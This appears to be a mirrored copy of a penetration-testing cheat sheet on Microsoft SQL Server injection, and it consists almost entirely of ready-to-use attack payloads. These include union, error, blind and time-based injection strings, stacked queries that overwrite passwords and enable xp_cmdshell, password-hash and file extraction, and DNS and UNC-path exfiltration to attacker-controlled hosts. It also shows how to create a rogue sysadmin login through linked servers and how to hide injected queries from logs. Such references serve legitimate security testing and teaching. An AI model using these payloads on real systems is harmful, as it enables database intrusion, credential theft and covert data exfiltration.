mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings
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391 lines
14 KiB
Markdown
391 lines
14 KiB
Markdown
# MSSQL Injection
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## Summary
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* [MSSQL Default Databases](#mssql-default-databases)
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* [MSSQL Comments](#mssql-comments)
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* [MSSQL User](#mssql-user)
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* [MSSQL Version](#mssql-version)
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* [MSSQL Hostname](#mssql-hostname)
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* [MSSQL Database Name](#mssql-database-name)
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* [MSSQL Database Credentials](#mssql-database-credentials)
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* [MSSQL List databases](#mssql-list-databases)
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* [MSSQL List columns](#mssql-list-columns)
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* [MSSQL List tables](#mssql-list-tables)
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* [MSSQL Union Based](#mssql-union-based)
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* [MSSQL Error Based](#mssql-error-based)
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* [MSSQL Blind Based](#mssql-blind-based)
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* [MSSQL Time Based](#mssql-time-based)
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* [MSSQL Stacked query](#mssql-stacked-query)
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* [MSSQL Read file](#mssql-read-file)
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* [MSSQL Command execution](#mssql-command-execution)
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* [MSSQL Out of band](#mssql-out-of-band)
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* [MSSQL DNS exfiltration](#mssql-dns-exfiltration)
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* [MSSQL UNC path](#mssql-unc-path)
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* [MSSQL Make user DBA](#mssql-make-user-dba-db-admin)
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* [MSSQL Trusted Links](#mssql-trusted-links)
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* [MSSQL List permissions](#mssql-list-permissions)
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## MSSQL Default Databases
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| Name | Description |
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|-----------------------|---------------------------------------|
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| pubs | Not available on MSSQL 2005 |
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| model | Available in all versions |
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| msdb | Available in all versions |
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| tempdb | Available in all versions |
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| northwind | Available in all versions |
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| information_schema | Availalble from MSSQL 2000 and higher |
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## MSSQL Comments
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| Type | Description |
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|----------------------------|-----------------------------------|
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| `/* MSSQL Comment */` | C-style comment |
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| `-- -` | SQL comment |
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| `;%00` | Null byte |
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## MSSQL User
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```sql
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SELECT CURRENT_USER
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SELECT user_name();
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SELECT system_user;
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SELECT user;
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```
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## MSSQL Version
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```sql
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SELECT @@version
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```
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## MSSQL Hostname
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```sql
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SELECT HOST_NAME()
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SELECT @@hostname
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SELECT @@SERVERNAME
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SELECT SERVERPROPERTY('productversion')
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SELECT SERVERPROPERTY('productlevel')
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SELECT SERVERPROPERTY('edition');
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```
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## MSSQL Database name
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```sql
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SELECT DB_NAME()
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```
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## MSSQL Database Credentials
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* **MSSQL 2000**: Hashcat mode 131: `0x01002702560500000000000000000000000000000000000000008db43dd9b1972a636ad0c7d4b8c515cb8ce46578`
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```sql
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SELECT name, password FROM master..sysxlogins
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SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
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-- Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer
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```
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* **MSSQL 2005**: Hashcat mode 132: `0x010018102152f8f28c8499d8ef263c53f8be369d799f931b2fbe`
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```sql
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SELECT name, password_hash FROM master.sys.sql_logins
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SELECT name + '-' + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins
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```
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## MSSQL List databases
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```sql
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SELECT name FROM master..sysdatabases;
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SELECT DB_NAME(N); — for N = 0, 1, 2, …
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SELECT STRING_AGG(name, ', ') FROM master..sysdatabases; -- Change delimeter value such as ', ' to anything else you want => master, tempdb, model, msdb (Only works in MSSQL 2017+)
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```
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## MSSQL List columns
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```sql
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SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
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SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
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SELECT table_catalog, column_name FROM information_schema.columns
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```
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## MSSQL List tables
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```sql
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SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
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SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’;
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SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable
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SELECT table_catalog, table_name FROM information_schema.columns
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SELECT STRING_AGG(name, ', ') FROM master..sysobjects WHERE xtype = 'U'; -- Change delimeter value such as ', ' to anything else you want => trace_xe_action_map, trace_xe_event_map, spt_fallback_db, spt_fallback_dev, spt_fallback_usg, spt_monitor, MSreplication_options (Only works in MSSQL 2017+)
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```
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## MSSQL Union Based
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```sql
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-- extract databases names
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$ SELECT name FROM master..sysdatabases
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[*] Injection
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[*] msdb
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[*] tempdb
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-- extract tables from Injection database
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$ SELECT name FROM Injection..sysobjects WHERE xtype = 'U'
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[*] Profiles
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[*] Roles
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[*] Users
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-- extract columns for the table Users
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$ SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'Users')
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[*] UserId
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[*] UserName
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-- Finally extract the data
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$ SELECT UserId, UserName from Users
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```
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## MSSQL Error based
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```sql
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For integer inputs : convert(int,@@version)
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For integer inputs : cast((SELECT @@version) as int)
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For string inputs : ' + convert(int,@@version) + '
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For string inputs : ' + cast((SELECT @@version) as int) + '
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```
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## MSSQL Blind based
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```sql
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AND LEN(SELECT TOP 1 username FROM tblusers)=5 ; -- -
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AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
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AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64--
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AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
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AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90
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SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
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WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table)
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SELECT message FROM data WHERE row = 1 and message like 't%'
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```
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## MSSQL Time based
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```sql
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ProductID=1;waitfor delay '0:0:10'--
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ProductID=1);waitfor delay '0:0:10'--
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ProductID=1';waitfor delay '0:0:10'--
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ProductID=1');waitfor delay '0:0:10'--
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ProductID=1));waitfor delay '0:0:10'--
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IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
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IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
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```
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## MSSQL Stacked Query
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* Without any statement terminator
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```sql
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-- multiple SELECT statements
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SELECT 'A'SELECT 'B'SELECT 'C'
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-- updating password with a stacked query
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SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')--
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-- using the stacked query to enable xp_cmdshell
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-- you won't have the output of the query, redirect it to a file
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SELECT id, username, password FROM users WHERE username = 'admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
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```
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* Use a semi-colon ";" to add another query
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```sql
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ProductID=1; DROP members--
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```
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## MSSQL Read file
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**Permissions**: The `BULK` option requires the `ADMINISTER BULK OPERATIONS` or the `ADMINISTER DATABASE BULK OPERATIONS` permission.
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```sql
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-1 union select null,(select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)),null,null
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```
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## MSSQL Command execution
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```sql
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EXEC xp_cmdshell "net user";
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EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:';
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EXEC master.dbo.xp_cmdshell 'ping 127.0.0.1';
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```
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If you need to reactivate xp_cmdshell (disabled by default in SQL Server 2005)
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```sql
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EXEC sp_configure 'show advanced options',1;
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RECONFIGURE;
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EXEC sp_configure 'xp_cmdshell',1;
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RECONFIGURE;
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```
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To interact with the MSSQL instance.
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```powershell
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sqsh -S 192.168.1.X -U sa -P superPassword
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python mssqlclient.py WORKGROUP/Administrator:password@192.168.1X -port 46758
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```
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Execute Python script
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> Executed by a different user than the one using xp_cmdshell to execute commands
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```powershell
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#Print the user being used (and execute commands)
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EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
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EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
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#Open and read a file
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EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
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#Multiline
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EXECUTE sp_execute_external_script @language = N'Python', @script = N'
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import sys
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print(sys.version)
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'
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GO
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```
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## MSSQL Out of band
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### MSSQL DNS exfiltration
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Technique from https://twitter.com/ptswarm/status/1313476695295512578/photo/1
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```powershell
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# Permissions: Requires VIEW SERVER STATE permission on the server.
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1 and exists(select * from fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.xem',null,null))
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# Permissions: Requires the CONTROL SERVER permission.
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1 (select 1 where exists(select * from fn_get_audit_file('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\',default,default)))
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1 and exists(select * from fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.xxxx.burpcollaborator.net\1.trc',default))
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```
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### MSSQL UNC Path
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MSSQL supports stacked queries so we can create a variable pointing to our IP address then use the `xp_dirtree` function to list the files in our SMB share and grab the NTLMv2 hash.
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```sql
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1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
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```
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```sql
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xp_dirtree '\\attackerip\file'
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xp_fileexist '\\attackerip\file'
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BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
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BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
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RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
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RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
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RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
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RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
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RESTORE LABELONLY FROM DISK = '\\attackerip\file'
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RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
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RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
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```
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## MSSQL Make user DBA (DB admin)
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```sql
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EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin;
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```
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## MSSQL Trusted Links
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> The links between databases work even across forest trusts.
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```powershell
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msf> use exploit/windows/mssql/mssql_linkcrawler
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[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter sessio
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```
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Manual exploitation
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```sql
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-- find link
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select * from master..sysservers
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-- execute query through the link
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select * from openquery("dcorp-sql1", 'select * from master..sysservers')
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select version from openquery("linkedserver", 'select @@version as version');
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-- chain multiple openquery
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select version from openquery("link1",'select version from openquery("link2","select @@version as version")')
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-- execute shell commands
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EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT LinkedServer
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select 1 from openquery("linkedserver",'select 1;exec master..xp_cmdshell "dir c:"')
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-- create user and give admin privileges
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EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
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EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
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```
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## List permissions
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Listing effective permissions of current user on the server.
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```sql
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SELECT * FROM fn_my_permissions(NULL, 'SERVER');
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```
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Listing effective permissions of current user on the database.
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```sql
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SELECT * FROM fn_my_permissions (NULL, 'DATABASE');
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```
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Listing effective permissions of current user on a view.
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```
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SELECT * FROM fn_my_permissions('Sales.vIndividualCustomer', 'OBJECT') ORDER BY subentity_name, permission_name;
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```
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Check if current user is a member of the specified server role.
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```sql
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-- possible roles: sysadmin, serveradmin, dbcreator, setupadmin, bulkadmin, securityadmin, diskadmin, public, processadmin
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SELECT is_srvrolemember('sysadmin');
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```
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## MSSQL OPSEC
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Use `SP_PASSWORD` in a query to hide from the logs like : `' AND 1=1--sp_password`
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```sql
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-- 'sp_password' was found in the text of this event.
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-- The text has been replaced with this comment for security reasons.
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```
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## References
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* [Pentest Monkey - mssql-sql-injection-cheat-sheet](http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet)
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* [Error Based - SQL Injection ](https://github.com/incredibleindishell/exploit-code-by-me/blob/master/MSSQL%20Error-Based%20SQL%20Injection%20Order%20by%20clause/Error%20based%20SQL%20Injection%20in%20“Order%20By”%20clause%20(MSSQL).pdf)
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* [MSSQL Trusted Links - HackTricks.xyz](https://book.hacktricks.xyz/windows/active-directory-methodology/mssql-trusted-links)
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* [SQL Server – Link… Link… Link… and Shell: How to Hack Database Links in SQL Server! - Antti Rantasaari - June 6th, 2013](https://blog.netspi.com/how-to-hack-database-links-in-sql-server/)
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* [DAFT: Database Audit Framework & Toolkit - NetSPI](https://github.com/NetSPI/DAFT)
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* [SQL Server UNC Path Injection Cheatsheet - nullbind](https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e)
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* [Full MSSQL Injection PWNage - ZeQ3uL && JabAv0C - 28 January 2009](https://www.exploit-db.com/papers/12975)
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* [Microsoft - sys.fn_my_permissions (Transact-SQL)](https://docs.microsoft.com/en-us/sql/relational-databases/system-functions/sys-fn-my-permissions-transact-sql?view=sql-server-ver15)
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* [Microsoft - IS_SRVROLEMEMBER (Transact-SQL)](https://docs.microsoft.com/en-us/sql/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver15)
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* [AWS WAF Clients Left Vulnerable to SQL Injection Due to Unorthodox MSSQL Design Choice - Marc Olivier Bergeron - Jun 21, 2023](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) |